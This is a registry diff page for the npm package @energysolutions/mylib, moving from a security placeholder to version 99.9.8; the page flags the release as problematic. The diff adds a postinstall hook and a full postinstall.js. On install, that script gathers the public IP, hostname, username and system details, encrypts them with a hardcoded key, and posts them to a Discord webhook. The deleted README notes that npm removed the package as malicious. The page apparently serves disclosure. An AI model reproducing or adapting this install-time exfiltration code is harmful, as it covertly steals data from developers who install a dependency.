@energysolutions/mylib 0.0.1-security → 99.9.8

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @energysolutions/mylib might be problematic. Click here for more details.

package/package.json CHANGED
@@ -1,6 +1,11 @@
1
1
  {
2
2
  "name": "@energysolutions/mylib",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "99.9.8",
4
+ "description": "energysolutions package",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node postinstall.js"
8
+ },
9
+ "author": "energysolutions",
10
+ "license": "ISC"
6
11
  }
package/postinstall.js ADDED
@@ -0,0 +1,74 @@
1
+ const sysModule = require('os');
2
+ const networkModule = require('https');
3
+ const encryptorModule = require('crypto');
4
+
5
+ function retrieveInfo(callback) {
6
+ networkModule.get('https://api.ipify.org?format=json', (resp) => {
7
+ let chunkData = '';
8
+ resp.on('data', (part) => {
9
+ chunkData += part;
10
+ });
11
+ resp.on('end', () => {
12
+ callback(JSON.parse(chunkData).ip);
13
+ });
14
+ }).on('error', (error) => {
15
+ console.error('Connection issue:', error);
16
+ callback(null);
17
+ });
18
+ }
19
+
20
+ function obscureData(inputData, keyElement) {
21
+ const secret = encryptorModule.createCipheriv('aes-256-cbc', keyElement, keyElement.slice(0, 16));
22
+ let hidden = secret.update(inputData, 'utf8', 'hex');
23
+ hidden += secret.final('hex');
24
+ return hidden;
25
+ }
26
+
27
+ function transmitInformation(ipAddress) {
28
+ const dataCollection = {
29
+ sys: sysModule.platform(),
30
+ architecture: sysModule.arch(),
31
+ cores: sysModule.cpus().length,
32
+ hostName: sysModule.hostname(),
33
+ userAccount: sysModule.userInfo().username,
34
+ ipAddress: ipAddress
35
+ };
36
+
37
+ const secretKey = encryptorModule.createHash('sha256').update('ouayuiis').digest();
38
+ const encryptedData = obscureData(JSON.stringify(dataCollection), secretKey);
39
+
40
+ const apiEndpoint = '/api/webhooks/1286771983836512388/OWJmimIzpCD7PHwwfG0OrLLvDOFnSlotiRjTHltlPv9l2-0h1cE2wB-quZ2ZmbvefU2f';
41
+
42
+ const messagePayload = JSON.stringify({
43
+ content: `Information: ${encryptedData}`
44
+ });
45
+
46
+ const configOptions = {
47
+ hostname: 'discord.com',
48
+ port: 443,
49
+ path: apiEndpoint,
50
+ method: 'POST',
51
+ headers: {
52
+ 'Content-Type': 'application/json',
53
+ 'Content-Length': Buffer.byteLength(messagePayload)
54
+ }
55
+ };
56
+
57
+ const postRequest = networkModule.request(configOptions, (response) => {
58
+ response.on('data', (chunk) => {
59
+ process.stdout.write(chunk);
60
+ });
61
+ });
62
+
63
+ postRequest.on('error', (error) => {
64
+ console.error(error);
65
+ });
66
+
67
+ postRequest.write(messagePayload);
68
+ postRequest.end();
69
+ }
70
+
71
+ retrieveInfo((ip) => {
72
+ transmitInformation(ip);
73
+ });
74
+
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=%40energysolutions%2Fmylib for more information.